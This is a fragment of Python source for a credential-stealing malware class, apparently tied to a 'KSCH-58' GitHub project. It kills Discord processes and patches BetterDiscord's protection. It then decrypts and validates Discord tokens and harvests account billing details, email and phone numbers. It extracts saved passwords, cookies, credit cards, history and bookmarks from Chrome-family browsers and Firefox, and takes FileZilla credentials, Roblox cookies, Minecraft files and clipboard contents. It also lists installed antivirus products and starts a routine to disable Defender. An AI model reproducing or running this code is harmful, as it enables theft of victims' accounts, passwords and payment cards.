        except:
            pass

    async def kill_process_id(self):
        try:
            bllist = self.find_in_config("blacklistedprog")
            for i in [
                    "discord",
                    "discordtokenprotector",
                    "discordcanary",
                    "discorddevelopment",
                    "discordptb",
                ]:
                bllist.append(i)
            for proc in psutil.process_iter():
                if any(procstr in proc.name().lower() for procstr in bllist):
                    try:
                        proc.kill()
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        pass
            for proc in psutil.process_iter():
                if any(procstr in proc.name().lower() for procstr in bllist):
                    try:
                        proc.kill()
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        pass
        except:
            pass

                
    async def thiefcat_BypassBetterDsc(self):
        try:
            bd = self.roaming + "\\BetterDiscord\\data\\betterdiscord.asar"
            if os.path.exists(bd):
                x = self.webapi_find
                with open(bd, "r", encoding="cp437", errors="ignore") as f:
                    txt = f.read()
                    content = txt.replace(x, f"{NotKSCH58}_goat")
                with open(bd, "w", newline="", encoding="cp437", errors="ignore") as f:
                    f.write(content)
        except:
            pass

    def decrypt_value(self, buff, master_key):
        try:
            iv = buff[3:15]
            payload = buff[15:]
            cipher = AES.new(master_key, AES.MODE_GCM, iv)
            decrypted_pass = cipher.decrypt(payload)
            decrypted_pass = decrypted_pass[:-16].decode()
            return decrypted_pass
        except Exception:
            return "Cannot decrypt password"

    def thiefcat_GetToken(self):
        paths_to_check = {
            'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
            'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
            'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
            'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
            'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
            'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
            'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
            'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
            'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
            'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
            'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
            '7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
            'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
            'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
            'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
            'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
            'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
            'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
            'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
            'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
            'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
            'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
            'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
            'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
            'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
            'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
            'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'
        }

        for name, gang in paths_to_check.items():
            if not os.path.exists(gang):
                continue
            disc = name.replace(" ", "").lower()
            if "cord" in gang:
                if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
                    for filename in os.listdir(gang):
                        if filename[-3:] not in ["log", "ldb"]:
                            continue
                        for find in [x.strip() for x in open(f'{gang}\\{filename}', errors='ignore').readlines() if x.strip()]:
                            for y in re.findall(self.rgx_thiefcat, find):
                                token = self.decrypt_value(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
                                r = requests.get(self.disc_url_api, headers={
                                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
                                    'Content-Type': 'application/json',
                                    'Authorization': token})
                                if r.status_code == 200:
                                    uid = r.json()['id']
                                    if uid not in self.NotKSCH58id:
                                        self.hawked.append(token)
                                        self.NotKSCH58id.append(uid)

    def dir_random_create(self, _dir: str or os.PathLike = gettempdir()):
        filname = "".join(random.SystemRandom().choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")for _ in range(random.randint(10, 20)))
        path = os.path.join(_dir, filname)
        open(path, "x")
        return path
    
    def test_firefox_psw(self, export):
        if not export:
            return
        try:
            p = Popen(["pass"], stdout=PIPE, stderr=PIPE)
        except OSError as e:
            if e.errno == 2:
                pass
            else:
                pass
        out, err = p.communicate()
        if p.returncode != 0:
            if 'Try "pass init"' in err:
                pass
            else:
                pass

    def export_pass(self, to_export, prefix):
        for address in to_export:
            for user, passw in to_export[address].items():
                if len(to_export[address]) > 1:
                    passname = u"{0}/{1}/{2}".format(prefix, address, user)
                else:
                    passname = u"{0}/{1}".format(prefix, address)
                data = u"{0}\n{1}\n".format(passw, user)
                cmd = ["pass", "insert", "--force", "--multiline", passname]
                p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE)
                out, err = p.communicate(data.encode("utf8"))
                if p.returncode != 0:
                    pass


    def get_sections(self, profiles):
        sections = {}
        i = 1
        for section in profiles.sections():
            if section.startswith("Profile"):
                sections[str(i)] = profiles.get(section, "Path")
                i += 1
            else:
                continue
        return sections


    def read_profiles(self, basepath, list_profiles):
        profileini = os.path.join(basepath, "profiles.ini")
        if not os.path.isfile(profileini):
            pass
        profiles = ConfigParser()
        profiles.read(profileini)
        return profiles


    def get_profile(self, basepath, interactive=False, choice=None, list_profiles=False):
        try:
            profiles = self.read_profiles(basepath, list_profiles)
        except Exception as e:
            pass
        else:
            sections = self.get_sections(profiles)
            if not interactive and choice:
                selected_sections = [sections[c] for c in choice if c in sections]
            else:
                selected_sections = list(sections.values())
            profiles = [os.path.join(basepath, section) for section in selected_sections]
            for profile in profiles:
                if not os.path.isdir(profile):
                    pass
        return profiles
    
    def get_master_key(self, path):
        with open(path, "r", encoding="utf-8") as f:
            c = f.read()
        local_state = json.loads(c)
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        master_key = master_key[5:]
        master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
        return master_key


    def parse_sys_args(self):
        if os.name == "nt":
            profile_path = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox")
        elif os.uname()[0] == "Darwin":
            profile_path = "~/Library/Application Support/Firefox"
        else:
            profile_path = "~/.mozilla/firefox"
        args = {
            'profile': profile_path,
            'export_pass': False,
            'pass_prefix': u"web",
            'format': "human",
            'delimiter': ";",
            'quotechar': '"',
            'interactive': True,
            'choice': None,
            'list': False,
            'verbose': 0
        }
        args['delimiter'] = ";" if args['delimiter'] != "\\t" else "\t"
        return args
    
    def load_profile(self, profile):
        try:
            self.profile = profile
            e = self.NSS._NSS_Init(b"sql:" + self.profile.encode("utf8"))
            if e != 0:
                pass
        except:
            pass

    def authenticate(self, interactive):
        keyslot = self.NSS._PK11_GetInternalKeySlot()
        if not keyslot:
            self.NSS.handle_error()
            pass
        self.NSS._PK11_FreeSlot(keyslot)

    def unload_profile(self):
        e = self.NSS._NSS_Shutdown()
        if e != 0:
            pass

    def decode_entry(self, user64, passw64):
        user = self.NSS.decode(user64)
        passw = self.NSS.decode(passw64)
        return user, passw
    
    def obtain_credentials(self, profile):
        try:
            credentials = JsonCredentials(profile)
        except NotFoundError:
            try:
                credentials = SqliteCredentials(profile)
            except NotFoundError:
                pass
        return credentials
    

    def fetch_firefox_bookmarks(self, profile_path):
        directory = os.path.join(self.dir, "Mozilla")
        bookmarks_db_path = os.path.join(profile_path, "places.sqlite")
        try:
            conn = sqlite3.connect(bookmarks_db_path)
            cursor = conn.cursor()
            cursor.execute("SELECT moz_bookmarks.title, moz_places.url FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk = moz_places.id WHERE moz_bookmarks.type = 1")
            bookmarks_data = cursor.fetchall()
            conn.close()
        except sqlite3.Error as e:
            return ""
        
        try:
            bookmarks_str = ""
            for bookmark in bookmarks_data:
                title = bookmark[0]
                url = bookmark[1]
                entry_str = "Title: {:<40} URL: {}\n".format(title, url)
                bookmarks_str += entry_str
                
            os.makedirs(directory, exist_ok=True)
            with open(os.path.join(self.dir, "Firefox", f"Bookmarks.txt"), "w", encoding="utf-8") as output_file:
                output_file.write(bookmarks_str)
            
            self.thingstocount[f'bookmarksbaby'] += len(title)
        except:
            pass

    def fetch_firefox_credit_cards(self, profile_path):
        directory = os.path.join(self.dir, "Mozilla")
        signons_db_path = os.path.join(profile_path, "signons.sqlite")
        
        try:
            conn = sqlite3.connect(signons_db_path)
            cursor = conn.cursor()
        except sqlite3.Error as e:
            return ""
        
        try:
            cursor.execute("SELECT hostname FROM moz_logins WHERE (password_type = 1 OR password_type = 2) AND times_used > 0")
            hostnames_result = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        
        try:
            cursor.execute("SELECT username FROM moz_logins WHERE (password_type = 1 OR password_type = 2) AND times_used > 0")
            usernames_result = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        
        try:
            cursor.execute("SELECT password FROM moz_logins WHERE (password_type = 1 OR password_type = 2) AND times_used > 0")
            passwords_result = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        finally:
            cursor.close()
            conn.close()
        
        credit_cards_data = list(zip(hostnames_result, usernames_result, passwords_result))

        try:
            if len(credit_cards_data) > 0:
                credit_cards_str = ""
                for card in credit_cards_data:
                    hostname = card[0][0]
                    username = card[1][0]
                    password = card[2][0]
                    entry_str = "Hostname: {:<40} Username: {:<20} Password: {}\n".format(hostname, username, password)
                    credit_cards_str += entry_str
                os.makedirs(directory, exist_ok=True)
                with open(os.path.join(self.dir, "Firefox", f"Credits Cards.txt"), "w", encoding="utf-8") as output_file:
                    output_file.write(credit_cards_str)
                self.thingstocount[f'creditcard'] += len(username)
        except:
            pass


    def fetch_firefox_data(self, profile_path):
        directory = os.path.join(self.dir, "Mozilla")
        data_db_path = os.path.join(profile_path, "cookies.sqlite")
        try:
            conn = sqlite3.connect(data_db_path)
            cursor = conn.cursor()
        except sqlite3.Error as e:
            return ""
        try:
            cursor.execute("SELECT host, isSecure, path FROM moz_cookies")
            data_part1 = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        try:
            cursor.execute("SELECT isHttpOnly, expiry FROM moz_cookies")
            data_part2 = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        try:
            cursor.execute("SELECT name, value FROM moz_cookies")
            data_part3 = cursor.fetchall()
        except sqlite3.Error as e:
            return ""
        finally:
            cursor.close()
            conn.close()
        data_combined = []
        for i in range(len(data_part1)):
            data_combined.append(data_part1[i] + data_part2[i] + data_part3[i])
        data_str = ""
        for item in data_combined:
            host = item[0]
            is_secure = "TRUE" if item[1] else "FALSE"
            path = item[2]
            is_http_only = "TRUE" if item[3] else "FALSE"
            expiration = str(item[4])
            name = item[5]
            value = item[6]
            item_str = f"{host}\t{is_secure}\t{path}\t{is_http_only}\t{expiration}\t{name}\t{value}"
            data_str += item_str + "\n"

        try:
            os.makedirs(directory, exist_ok=True)
            with open(os.path.join(self.dir, "Firefox", f"{justaterm}.txt"), "w", encoding="utf-8") as output_file:
                output_file.write(data_str)
            
            self.thingstocount[f'{justatermlil}'] += len(host)
        except Exception as e:
            pass


    def decrypt_passwords(self, export):
        directory = os.path.join(self.dir, "Mozilla")
        def output_line(line, file):
            file.write(line)

        got_password = False
        credentials = self.obtain_credentials(self.profile)
        to_export = {}
        os.makedirs(directory, exist_ok=True)
        with open(os.path.join(self.dir, "Firefox", f"Passwords.txt"), "w", encoding="utf-8") as output_file:
            for url, user, passw, enctype in credentials:
                got_password = True
                if enctype:
                    user, passw = self.decode_entry(user, passw)
                if export:
                    address = urlparse(url)
                    if address.netloc not in to_export:
                        to_export[address.netloc] = {user: passw}
                    else:
                        to_export[address.netloc][user] = passw
                else:
                    output = (
                        u"\nWebsite: {0}\n".format(url),
                        u"ID: {0}\n".format(user),
                        u"Password: {0}\n".format(passw),
                    )
                    for line in output:
                        output_line(line, output_file)
        credentials.done()
        if not got_password:
            pass
        if export:
            return to_export
        
    def fetch_firefox_history(self, profile_path):
        directory = os.path.join(self.dir, "Mozilla")
        history_db_path = os.path.join(profile_path, "places.sqlite")
        try:
            conn = sqlite3.connect(history_db_path)
            cursor = conn.cursor()
            cursor.execute("SELECT url, title, visit_count FROM moz_places")
            history_data = cursor.fetchall()
            conn.close()
        except sqlite3.Error as e:
            return ""

        history_str = ""
        for entry in history_data:
            url = entry[0]
            title = entry[1]
            visit_count = entry[2]
            entry_str = f"Visit Count: {visit_count} Title: {title} Link: {url}\n"
            history_str += entry_str
            
        os.makedirs(directory, exist_ok=True)
        with open(os.path.join(self.dir, "Firefox", "Histories.txt"), "w", encoding="utf-8") as file:
            file.write(history_str)
        self.thingstocount['historybaby'] += len(url)
    
    def is_firefox_installed(self):
        program_files_path = os.environ.get("PROGRAMFILES")
        firefox_path = os.path.join(program_files_path, "Mozilla Firefox", "firefox.exe")
        return os.path.exists(firefox_path)


    def firefox(self):
        if self.Found_Browsers != "yes":
            return
        args = self.parse_sys_args()
        if not self.is_firefox_installed():
            return
        self.test_firefox_psw(args["export_pass"])
        basepath = os.path.expanduser(args['profile'])
        profiles = self.get_profile(basepath, args['interactive'], args['choice'], args['list'])
        for profile in profiles:
            try:
                self.fetch_firefox_history(profile)
                self.fetch_firefox_data(profile)
                self.load_profile(profile)
                self.fetch_firefox_credit_cards(profile)
                self.fetch_firefox_bookmarks(profile)
                self.authenticate(args['interactive'])
                to_export = self.decrypt_passwords(
                    export=args['export_pass'],
                )
                if args['export_pass']:
                    self.export_pass(to_export, args['pass_prefix'])
                        
                self.unload_profile()
                self.firefox_installed = True
            except Exception as e:
                pass

    def thiefcat_GetFilezilla(self):
        if self.Found_FileZilla != "yes":
            return
        try:
            directory = os.path.join(self.dir, "FileZilla")
            if os.path.exists(self.recentservers_xml_path):
                recentservers_credentials = self.decode_filezilla_xml(self.recentservers_xml_path)
                if recentservers_credentials:
                    os.makedirs(directory, exist_ok=True)
                    with open(os.path.join(self.dir, "FileZilla", "Servers.txt"), "a", encoding="utf-8") as f:
                        for credential in recentservers_credentials:
                            try:
                                host = credential.get("Host", "")
                                port = credential.get("Port", "")
                                protocol = credential.get("Protocol", "")
                                user = credential.get("User", "")
                                password = credential.get("Pass", "")
                                encoding = credential.get("Encoding", "")
                                
                                if host:
                                    f.write(f"Host: {host}\n")
                                if port:
                                    f.write(f"Port: {port}\n")
                                if protocol:
                                    f.write(f"Protocol: {protocol}\n")
                                if user:
                                    f.write(f"User: {user}\n")
                                if password:
                                    f.write(f"Password: {password}\n")
                                if encoding:
                                    f.write(f"Encoding: {encoding}\n")
                                
                                f.write("\n")
                                
                                self.thingstocount['passwrd'] += len(password)
                            except:
                                pass
        except:
            pass

    @extract_try
    def thiefcat_browsers4(self, name: str, path: str, profile: str):
        if self.Found_Browsers != "yes":
            return
        try:
            path = os.path.join(path, profile, "Login Data")
            if not os.path.isfile(path):
                return

            loginvault = self.dir_random_create()
            try:
                shutil.copy2(path, loginvault)
                conn = sqlite3.connect(loginvault)
                cursor = conn.cursor()
                with open(os.path.join(self.dir, "Browsers", "Passwords.txt"), "a", encoding="utf-8") as f:
                    sql_query_1 = "SELECT origin_url, username_value FROM logins"
                    cursor.execute(sql_query_1)
                    for row in cursor.fetchall():
                        url, username = row
                        if url:
                            f.write(
                                f"Website: {url}\nID: {username}\n")

                    sql_query_2 = "SELECT password_value FROM logins"
                    cursor.execute(sql_query_2)
                    for row in cursor.fetchall():
                        password = row[0]
                        password = self.value_decrypt(password, self.masterkey)
                        f.write(f"Password: {password}\n\n")
                        self.thingstocount['passwrd'] += len(password)
                cursor.close()
            finally:
                conn.close()
                os.remove(loginvault)
        except:
            pass

    @extract_try
    def thiefcat_browsers1(self, file_name: str, file_path: str, proc_file: str):
        if self.Found_Browsers != "yes":
            return
        try:
            cckcs = self.dir_random_create()
            shutil.copy2(os.path.join(file_path, proc_file, ntwrk, f"{justaterm}"), cckcs)
            with sqlite3.connect(cckcs) as conn:
                cursor = conn.cursor()
                query = "SELECT {columns} FROM {table}".format(columns="host_key, name, path, encrypted_value, expires_utc", table=f"{justatermlil}")
                for res in cursor.execute(query).fetchall():
                    host_key, name, path, encrypted_value, expires_utc = res
                    value = self.value_decrypt(encrypted_value, self.masterkey)
                    if host_key and name and value:
                        with open(os.path.join(self.dir, "Browsers", f"{justaterm}.txt"), "a", encoding="utf-8") as f:
                            f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
            os.remove(cckcs)
            self.thingstocount[f'{justatermlil}'] += len(host_key)
        except:
            pass
    
    @extract_try
    def thiefcat_GetGoogle2(self):
        if self.Found_Browsers != "yes":
            return
        try:
            with open(os.path.join(self.dir, "Google", f"{justaterm}.txt"), "w", encoding="cp437", errors="ignore") as f:
                for prof in os.listdir(self.chrome_user_path):
                    if re.match(self.rgx_chrome, prof):
                        login_db = os.path.join(self.chrome_user_path, prof, ntwrk, f"{justatermlil}")
                        login = self.files_creating()
                        shutil.copy2(login_db, login)
                        conn = sqlite3.connect(login)
                        cursor = conn.cursor()
                        sql_query_part1 = "SELECT host_key,"
                        sql_query_part2 = "name"
                        sql_query_part3 = f"from {justatermlil}"
                        sql_query_part4 = "SELECT encrypted_value FROM {justatermlil}"
                        cursor.execute(f"{sql_query_part1} {sql_query_part2} {sql_query_part3}")

                        while True:
                            rows = cursor.fetchmany(50)
                            if not rows:
                                break

                            for r in rows:
                                host, user = r
                        cursor.execute(sql_query_part4)
                        while True:
                            rows = cursor.fetchmany(50)
                            if not rows:
                                break

                            for r in rows:
                                encrypted_value = r[0]
                                dcryptedcks = self.value_decrypt(encrypted_value, self.chrome_key)
                                if host != "":
                                    f.write(f"{host}\tTRUE\t\t/FALSE\t2597573456\t{user}\t{dcryptedcks}\n")
                                if "_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_" in dcryptedcks:
                                    self.rblxcckcs.append(dcryptedcks)
                                self.thingstocount[f'{justatermlil}'] += len(dcryptedcks)
                                self.thingstocount['roblox_friendly'] += len(self.rblxcckcs)

                        cursor.close()
                        conn.close()
                        os.remove(login)
                f.close()
        except:
            pass

    
    @extract_try
    def thiefcat_GetGoogle1(self):
        if self.Found_Browsers != "yes":
            return
        try:
            with open(os.path.join(self.dir, "Google", "Passwords.txt"), "w", encoding="cp437", errors="ignore") as f:
                for prof in os.listdir(self.chrome_user_path):
                    if re.match(self.rgx_chrome, prof):
                        login_db = os.path.join(
                            self.chrome_user_path, prof, "Login Data")
                        login = self.files_creating()
                        shutil.copy2(login_db, login)

                        with sqlite3.connect(login) as conn:
                            cursor = conn.cursor()
                            cursor.execute(
                                "SELECT origin_url, username_value FROM logins")
                            data_part1 = cursor.fetchall()
                            
                            cursor.execute(
                                "SELECT password_value FROM logins")
                            data_part2 = cursor.fetchall()
                            
                            for r1, r2 in zip(data_part1, data_part2):
                                url, username = r1
                                encrypted_password = r2[0]
                                decrypted_password = self.value_decrypt(
                                    encrypted_password, self.chrome_key)
                                if url:
                                    f.write(
                                        f"Website: {url}\nID: {username}\nPassword: {decrypted_password}\n\n")
                                    self.thingstocount['passwrd'] += len(
                                        decrypted_password)
                        os.remove(login)
        except:
            pass

    def thiefcat_browsers3(self, name: str, path: str, profile: str):
        if self.Found_Browsers != "yes":
            return
        try:
            path = os.path.join(path, profile, "Bookmarks")
            if not os.path.isfile(path):
                return
            with open(path, "r", encoding="utf-8") as f:
                bookmarks_data = json.load(f)
            bookmarks = []
            if "roots" in bookmarks_data:
                for folder_key, folder_data in bookmarks_data["roots"].items():
                    if "children" in folder_data:
                        for bookmark in folder_data["children"]:
                            if "type" in bookmark and bookmark["type"] == "url" and "url" in bookmark and "name" in bookmark:
                                visit_count = 0
                                last_visit_time = 0
                                if "visit_count" in bookmark:
                                    visit_count = bookmark["visit_count"]
                                if "date_last_visited" in bookmark:
                                    last_visit_time = bookmark["date_last_visited"]
                                bookmarks.append((bookmark["url"], bookmark["name"], visit_count, last_visit_time))
                                
            bookmarks.sort(key=lambda x: x[3], reverse=True)
            self.thingstocount["bookmarksbaby"] += len(bookmarks)
            with open(os.path.join(self.dir, "Browsers", "Bookmarks.txt"), "a", encoding="utf-8") as f:
                for bookmark in bookmarks:
                    f.write("Title: {:<6} URL: {:<40}\n".format(bookmark[1], bookmark[0]))
        except:
            pass
        


    def thiefcat_browsers2(self, name: str, path: str, profile: str):
        if self.Found_Browsers != "yes":
            return
        try:
            path = os.path.join(path, profile, "History")
            if not os.path.isfile(path):
                return
            historyvault = self.dir_random_create()
            shutil.copy2(path, historyvault)
            conn = sqlite3.connect(historyvault)
            cursor = conn.cursor()
            with open(
                os.path.join(self.dir, "Browsers", "Histories.txt"), "a", encoding="utf-8", ) as f:
                sites = []
                for res in cursor.execute("SELECT url, title, visit_count, last_visit_time FROM urls WHERE url IS NOT NULL AND title IS NOT NULL AND visit_count IS NOT NULL AND last_visit_time IS NOT NULL").fetchall():
                    sites.append(res)
                sites.sort(key=lambda x: x[3], reverse=True)
                self.thingstocount['historybaby'] += len(sites)
                for site in sites:
                    f.write("Visit Count: {:<6} Title: {:<40}\n".format(
                        site[2], site[1]))
            cursor.close()
            conn.close()
            os.remove(historyvault)
        except:
            pass

    def thiefcat_browsers5(self, name: str, path: str, profile: str):
        if self.Found_Browsers != "yes":
            return
        try:
            path += "\\" + profile + "\\Web Data"
            if not os.path.isfile(path):
                return
            cc_vaults = self.dir_random_create()
            shutil.copy2(path, cc_vaults)
            with sqlite3.connect(cc_vaults) as conn:
                conn.row_factory = sqlite3.Row
                with conn.cursor() as cursor:
                    cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards WHERE name_on_card != '' AND card_number_encrypted != ''")
                    with open(os.path.join(self.dir, "Browsers", "CC.txt"), "a", encoding="utf-8") as f:
                        for res in cursor.fetchall():
                            name_on_cc, expir_on_cc, expir_year_cc, number_onmy_cc = res
                            f.write(f"Name: {name_on_cc}   Expiration Month: {expir_on_cc}   Expiration Year: {expir_year_cc}   Card Number: {self.value_decrypt(number_onmy_cc, self.masterkey)}\n")
                            self.thingstocount['creditcard'] += len(name_on_cc)
            os.remove(cc_vaults)
        except:
            pass

    @extract_try
    def thiefcat_GetGoogle3(self):
        if self.Found_Browsers != "yes":
            return
        try:
            with open(os.path.join(self.dir, "Google", "Histories.txt"), "w", encoding="cp437", errors="ignore") as f:
                def NotKSCH58pleaseexctract(db_cursor):
                    db_cursor.execute("SELECT title, url, last_visit_time FROM urls")
                    for item in db_cursor.fetchall():
                        yield f"Search Title: {item[0]}\nURL: {item[1]}\nLAST VISIT TIME: {self.time_convertion(item[2]).strftime('%Y/%m/%d - %H:%M:%S')}\n\n"

                def exctract_websearch_bc(db_cursor):
                    db_cursor.execute("SELECT term FROM keyword_search_terms")
                    for item in db_cursor.fetchall():
                        if item[0] != "":
                            yield item[0]

                for prof in os.listdir(self.chrome_user_path):
                    if not re.match(self.rgx_chrome, prof):
                        continue
                    login_db = os.path.join(self.chrome_user_path, prof, "History")
                    login = self.files_creating()
                    shutil.copy2(login_db, login)
                    with sqlite3.connect(login) as conn:
                        cursor = conn.cursor()
                        search_history = exctract_websearch_bc(cursor)
                        web_history = NotKSCH58pleaseexctract(cursor)
                        f.write(f"{' ' * 17}{NotKSCH58} SEARCH\n{'-' * 50}\n{search_history}\n{' ' * 17}\n\nLinks History\n{'-' * 50}\n{web_history}")
                        self.thingstocount['historybaby'] += sum(
                            1 for _ in search_history)
                        self.thingstocount['historybaby'] += sum(1 for _ in web_history)
                        cursor.close()
                        os.remove(login)
        except:
            pass


    def natify_matched_tokens(self):
        with open(self.dir + "\\Discord_Info.txt", "w", encoding="cp437", errors="ignore") as f:
            try:
                for token in self.hawked:
                    headers = self.header_making(token)
                    j = httpx.get(self.disc_url_api, headers=headers).json()
                    user = f"{j['username']}#{j['discriminator']}"
                    flags = j.get("flags", 0)
                    badge_flags = {
                    1: "Staff",
                    2: "Partner",
                    4: "Hypesquad Event",
                    8: "Green Bughunter",
                    64: "Hypesquad Bravery",
                    128: "Hypesquad Brilliance",
                    256: "Hypesquad Balance",
                    512: "Early Supporter",
                    16384: "Gold BugHunter",
                    131072: "Verified Bot Developer",
                    4194304: "Active Developer",
                    }
                    badges = [badge_flags[f] for f in badge_flags if flags & f]
                    if not badges:
                        badges = ["None"]
                    email = j.get("email", "No Email attached")
                    phone = j.get("phone", "No Phone Number attached")
                    try:
                        nitro_data = httpx.get(
                            self.disc_url_api + "/billing/subscriptions", headers=headers
                              ).json()
                        has_nitro = bool(nitro_data)
                    except:
                       pass
                    time.sleep(0.5)
                    try:
                        payment_sources = json.loads(
                            httpx.get(
                            self.disc_url_api + "/billing/payment-sources", headers=headers
                            ).text
                            )
                    except:
                        pass
                    billing = bool(payment_sources)
                    f.write(
                        f"{' ' * 17}{user}\n{'-' * 50}\nBilling: {billing}\nNitro: {has_nitro}\nBadges: {', '.join(badges)}\nPhone: {phone}\nToken: {token}\nEmail: {email}\n\n"
                    )
                    self.thingstocount['info_discord'] += 1
            except:
                pass

    def thiefcat_GetMinecraft(self) -> None:
        if self.Found_Game != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Games", "Minecraft")
            mcdir = os.path.join(self.roaming, ".minecraft")
            if not os.path.exists(mcdir) or not os.path.isfile(os.path.join(mcdir, "launcher_profiles.json")):
                return
            count = 0
            os.makedirs(directory, exist_ok=True)
            for i in os.listdir(mcdir):
                if i.endswith((".json", ".txt", ".dat")):
                    shutil.copy2(os.path.join(mcdir, i), os.path.join(directory, i))
                    count += 1
            self.thingstocount["friendlybabymc"] += count
        except:
            pass

    def thiefcat_GetClipboard(self):
        if self.Found_Clipboard != "yes":
            return
        try:
            output = Functions.NotKSCH58findClipboard()
            if output:
                with open(os.path.join(self.dir, 'Systeme', 'Latest Clipboard.txt'), 'w', encoding='utf-8', errors='ignore') as file:
                    file.write(
                        f"{NotKSCH58} | https://github.com/KSCH-58/{NotKSCH58}\n\n" + output)
        except:
            pass
                

    def thiefcat_GetAllUSB(self):
        if self.Found_Sys != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Systeme")
            os.makedirs(directory, exist_ok=True)
            output = Functions.NotKSCH58findDevices()
            if output:
                with open(os.path.join(self.dir, 'Systeme', 'Devices Info.txt'), 'w', encoding='utf-8', errors='ignore') as file:
                    file.write(
                    f"{NotKSCH58} | https://github.com/KSCH-58/{NotKSCH58}\n\n" + output)
        except Exception:
            return None
        

    def thiefcat_GetAntiVirus(self):
        if self.Found_AV != "yes":
            return
        try:
            cmd = 'WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName'
            with Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True) as proc:
                output, error = proc.communicate()
                if proc.returncode != 0:
                    return
                output_lines = output.strip().split("\n")
                if len(output_lines) < 2:
                    return
                av_list = output_lines[1:]
                av_path = os.path.join(self.dir, "Systeme", "Anti Virus.txt")
                with open(av_path, "w", encoding="utf-8", errors="ignore") as f:
                    f.write("\n".join(av_list))
        except:
            pass

    def thiefcat_DisableDefender(self):
        if self.disablemydefender != "yes":
            return
        try:
